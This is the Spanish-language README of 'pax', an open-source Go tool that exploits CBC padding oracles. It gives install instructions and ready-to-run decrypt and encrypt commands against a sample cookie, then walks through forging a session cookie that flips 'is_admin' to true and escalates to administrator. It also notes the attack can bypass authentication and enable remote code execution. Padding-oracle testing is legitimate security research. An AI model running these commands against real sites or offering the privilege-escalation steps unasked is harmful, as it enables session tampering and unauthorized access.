pax

¡Explota oráculos de padding por diversión y beneficio!

Pax (PAdding oracle eXploiter) es una herramienta para explotar oráculos de padding con el fin de:

1. Obtener texto plano para un fragmento dado de datos cifrados con CBC.
2. Obtener bytes cifrados para un fragmento dado de texto plano, usando el algoritmo de cifrado desconocido utilizado por el oráculo.

Esto puede utilizarse para revelar información de sesión cifrada y, a menudo, para eludir la autenticación, elevar privilegios y ejecutar código de forma remota cifrando texto plano personalizado y escribiéndolo de vuelta en el servidor.

Como siempre, esta herramienta solo debe usarse en sistemas que poseas y/o para los que tengas permiso de probar.

Instalación

Descárgalo desde releases o instálalo con Go:

go get -u github.com/liamg/pax/cmd/pax

Ejemplo de uso

Si encuentras un posible oráculo, donde los datos cifrados se almacenan dentro de una cookie llamada SESS, puedes usar lo siguiente:

pax decrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D"

Esto te dará con suerte algo de texto plano, quizás algo como:

 {"user_id": 456, "is_admin": false}

¡Parece que podrías elevar tus privilegios aquí!

Puedes intentarlo generando primero tus propios datos cifrados que el oráculo descifrará de vuelta a algún texto plano astuto:

pax encrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D" --plain-text '{"user_id": 456, "is_admin": true}'

Esto escupirá otro conjunto de datos cifrados codificados en base64, quizás algo como:

dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=

Ahora puedes abrir tu navegador y establecer el valor de la cookie SESS al valor anterior. Al cargar la página original del oráculo, deberías ver que has sido elevado al nivel de administrador.

¿Cómo funciona esto?

A continuación se presentan excelentes guías sobre cómo funciona este ataque:

• https://robertheaton.com/2013/07/29/padding-oracle-attack/
• https://blog.skullsecurity.org/2013/padding-oracle-attacks-in-depth